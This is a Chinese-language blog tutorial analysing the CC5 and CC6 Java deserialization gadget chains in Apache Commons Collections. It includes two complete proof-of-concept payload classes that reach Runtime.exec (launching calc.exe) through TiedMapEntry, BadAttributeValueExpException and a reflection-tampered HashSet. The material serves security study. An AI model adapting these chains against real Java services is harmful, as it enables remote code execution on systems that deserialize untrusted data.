11-java安全——java反序列化CC5和CC6链分析

CC5链分析

复习LazyMap利用链: https://blog.

在学习C

CC5链的payload代码:

package com.cc;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap;  public class CC5Test {     public static void main(String[] args) throws Exception {          //构造核心利用代码         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})         };          //构造利用链         ChainedTransformer chain = new ChainedTransformer(transformers);          //触发连         HashMap hashMap = new HashMap();         LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);         //将lazyMap传给TiedMapEntry         TiedMapEntry entry = new TiedMapEntry(lazymap, "test");         //反射调用TiedMapEntry         BadAttributeValueExpException bad = new BadAttributeValueExpException(null);         Field val = bad.getClass().getDeclaredField("val");         val.setAccessible(true);         val.set(bad,entry);          //序列化  -->  反序列化         ByteArrayOutputStream barr = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(barr);         oos.writeObject(bad);         oos.close();         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));         ois.readObject();     } }

CC5链构造核心利用代码和利用链还是和CC1链一样没啥区别,我们主要关注后面是如何触发利用链。在构造触发链时还是用到了LazyMap类,但不同的是使用了一个新的类TiedMapEntry来调用LazyMap链,然后将TiedMapEntry类又传给了BadAttributeValueExpException类的val属性。

先来看TiedMapEntry类,该类实现了Serializable接口,在getValue方法并通过map属性调用了一个get方法

    public Object getValue() {         return map.get(key);     }

map属性是通过TiedMapEntry类的构造来赋值的(map属性是可控的),可以把LazyMap当做TiedMapEntry类的构造参数。

public TiedMapEntry(Map map, Object key) {     super();     this.map = map;     this.key = key; }

这样就可以让TiedMapEntry类map属性来间接调用LazyMap类的get方法,从而触发之前构造的利用链了。

而getValue方法是在toString方法中被调用

    public String toString() {         return getKey() + "=" + getValue();     }

现在我们要思考的是如何调用TiedMapEntry类的toString?于是接下来需要找到一个类必须满足以下条件:

  1. 重写readObject方法
  2. 并在readObject方法中可以调用toString方法(并且调用toString方法的对象是可控的)

于是接下来我们找到一个BadAttributeValueExpException类:

public class BadAttributeValueExpException extends Exception   {     /* Serial version */     private static final long serialVersionUID = -3105272988410493376L;      /**      * @serial A string representation of the attribute that originated this exception.      * for example, the string value can be the return of {@code attribute.toString()}      */     private Object val;      /**      * Constructs a BadAttributeValueExpException using the specified Object to      * create the toString() value.      *      * @param val the inappropriate value.      */     public BadAttributeValueExpException (Object val) {         this.val = val == null ? null : val.toString();     }       /**      * Returns the string representing the object.      */     public String toString()  {         return "BadAttributeValueException: " + val;     }  private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {     //从流中读取字段         ObjectInputStream.GetField gf = ois.readFields();         //从流中读取val属性         Object valObj = gf.get("val", null);          if (valObj == null) {             val = null;         } else if (valObj instanceof String) {             val= valObj;         } else if (System.getSecurityManager() == null                 || valObj instanceof Long                 || valObj instanceof Integer                 || valObj instanceof Float                 || valObj instanceof Double                 || valObj instanceof Byte                 || valObj instanceof Short                 || valObj instanceof Boolean) {               //相当于属性val调用toString方法             val = valObj.toString();         } else { // the serialized object is from a version without JDK-8019292 fix             val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();         }     }  }

readFields方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。

CC5利用链流程:

11-java安全——java反序列化CC5和CC6链分析

 

CC6链分析

TiedMapEntry类中有两个方法都调用了getValue方法,CC5链是通过toString方法调用getValue方法从而触发LazyMap,而在CC6链中则是通过hashCode方法来调用getValue方法。

    public Object getValue() {         return map.get(key);     }       public String toString() {         return getKey() + "=" + getValue();      }        public int hashCode() {         Object value = getValue();         return (getKey() == null ? 0 : getKey().hashCode()) ^                (value == null ? 0 : value.hashCode());       }

我们要找哪些地方调用了hashCode方法,然后再hashMap中找到一个hash方法,并且在该方法中调用了一个hashCode方法,参数k是通过put方法传递的,分析参数key是否可控。

    final int hash(Object k) {         int h = hashSeed;         if (0 != h && k instanceof String) {             return sun.misc.Hashing.stringHash32((String) k);         }         //调用hashcode方法         h ^= k.hashCode();          // This function ensures that hashCodes that differ only by         // constant multiples at each bit position have a bounded         // number of collisions (approximately 8 at default load factor).         h ^= (h >>> 20) ^ (h >>> 12);         return h ^ (h >>> 7) ^ (h >>> 4);     }

而hash方法是在put方法中被调用,HashMap每次调用put方法都会调用hash方法计算hash值。

     public V put(K key, V value) {         if (table == EMPTY_TABLE) {             inflateTable(threshold);         }         if (key == null)             return putForNullKey(value);         //计算hash值         //调用hash方法         int hash = hash(key);         int i = indexFor(hash, table.length);         for (Entry<K,V> e = table[i]; e != null; e = e.next) {             Object k;             if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {                 V oldValue = e.value;                 e.value = value;                 e.recordAccess(this);                 return oldValue;             }         }          modCount++;         addEntry(hash, key, value, i);         return null;     }

利用链构造完了,接下来需要找到一个触发利用链的地方(重写了readObject方法同时又调用了put方法的地方),正好有一个HashSet集合满足条件,hashSet重写了writeObject和readObject方法实现自定义序列化与反序列化

    //序列化 	private void writeObject(java.io.ObjectOutputStream s)         throws java.io.IOException {         // Write out any hidden serialization magic         s.defaultWriteObject();          // Write out HashMap capacity and load factor         s.writeInt(map.capacity());         s.writeFloat(map.loadFactor());          // Write out size         s.writeInt(map.size());          //将元素依次序列化         for (E e : map.keySet())             s.writeObject(e);     }      //反序列化 	private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {         // Read in any hidden serialization magic         s.defaultReadObject();          // Read in HashMap capacity and load factor and create backing HashMap         int capacity = s.readInt();         float loadFactor = s.readFloat();         map = (((HashSet)this) instanceof LinkedHashSet ?                new LinkedHashMap<E,Object>(capacity, loadFactor) :                new HashMap<E,Object>(capacity, loadFactor));          // Read in size         int size = s.readInt();          // Read in all elements in the proper order.         for (int i=0; i<size; i++) {             //依次将元素还原成java对象(反序列化)             E e = (E) s.readObject();             //将java对象传给put方法             map.put(e, PRESENT);         }     }

writeObject方法中会将hashSet集合中的元素依次取出来序列化,readObject方法会判断当前HashSet对象是否为LinkedHashSet,如果不是则直接返回HashMap,接着从流中读取hashSet集合中的元素并还原成java对象,然后将java对象作为参数key传给put方法,自定义序列化和反序列化过程中的hashSet集合中的元素是可控的,如果在hashSet集合中添加TiedMapEntry对象元素,这样就能控制put方法中的key了。

分析hashSet集合add方法底层实现后发现add方法底层调用了map.put方法,并且在putVal方法内部将key传给了Node。

	final V putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict) {         Node<K,V>[] tab; Node<K,V> p; int n, i;         if ((tab = table) == null || (n = tab.length) == 0)             //resize方法会返回table属性的引用             n = (tab = resize()).length;         if ((p = tab[i = (n - 1) & hash]) == null)             //将key传给Node             tab[i] = newNode(hash, key, value, null);         else {             Node<K,V> e; K k;             if (p.hash == hash &&                 ((k = p.key) == key || (key != null && key.equals(k))))                 e = p;             else if (p instanceof TreeNode)                 e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);             else {                 for (int binCount = 0; ; ++binCount) {                     if ((e = p.next) == null) {                         p.next = newNode(hash, key, value, null);                         if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st                             treeifyBin(tab, hash);                         break;                     }                     if (e.hash == hash &&                         ((k = e.key) == key || (key != null && key.equals(k))))                         break;                     p = e;                 }             }             if (e != null) { // existing mapping for key                 V oldValue = e.value;                 if (!onlyIfAbsent || oldValue == null)                     e.value = value;                 afterNodeAccess(e);                 return oldValue;             }         }         ++modCount;         if (++size > threshold)             resize();         afterNodeInsertion(evict);         return null;     }

Node创建了一个实例

    Node<K,V> newNode(int hash, K key, V value, Node<K,V> next) {         return new Node<>(hash, key, value, next);     }

然后将hashSet集合添加的元素给了Node对象的key属性

        Node(int hash, K key, V value, Node<K,V> next) {             this.hash = hash;             //将key赋值给key属性             this.key = key;             this.value = value;             this.next = next;         }

返回到putVal方法中,该方法会将Node对象(key/value键值对)赋给一个Node<K,V>[]类型的tab数组(tab实际上是由resize方法返回的table属性引用),也就是HashMap的table属性。

经过分析之后发现hashSet集合的add方法底层还是调用了map.put方法,控制put方法中的参数key的思路有两种:

方式一:往hashSet集合中直接添加TiedMapEntry对象。

方式二:是通过反射先从hashSet集合中获取map属性所指向的hashmap对象,然后再从hashmap中获取table属性中的Node对象,最后将Node对象中的key属性修改为TiedMapEntry对象。

11-java安全——java反序列化CC5和CC6链分析

 以上方式都可以构造利用链,在yseoserial工具CC6链中是使用第二种方式。

CC6链的payload代码:

package com.cc;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet;  public class CC6Test1 {     public static void main(String[] args) throws Exception {           Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),         };          ChainedTransformer chain = new ChainedTransformer(transformers);         HashMap hashMap = new HashMap();         LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");          HashSet hashSet = new HashSet(1);         hashSet.add("foo");         //获取HashSet的map属性         Field field = hashSet.getClass().getDeclaredField("map");         field.setAccessible(true);         //获取HashSet集合中的map属性的hashmap对象         HashMap hashset_map = (HashMap)field.get(hashSet);          //获取HashMap的table属性         field = HashMap.class.getDeclaredField("table");         field.setAccessible(true);         //从hashmap对象中获取table属性的值(返回的是一个HashMap.Node类型的数组)         Object[] array = (Object[]) field.get(hashset_map);         Object node = array[0];         if(node == null){             node = array[1];         }         Field keyField = null;         //获取HashMap.Node类中的key属性         keyField = node.getClass().getDeclaredField("key");         keyField.setAccessible(true);         //然后将HashMap.Node类中的key属性设置为TiedMapEntry对象         keyField.set(node, tiedMapEntry);          //序列化  -->  反序列化         ByteArrayOutputStream barr = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(barr);         oos.writeObject(hashSet);         oos.close();         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));         ois.readObject();     } }

版权声明:玥玥 发表于 2021-07-27 1:01:47。
转载请注明:11-java安全——java反序列化CC5和CC6链分析 | 女黑客导航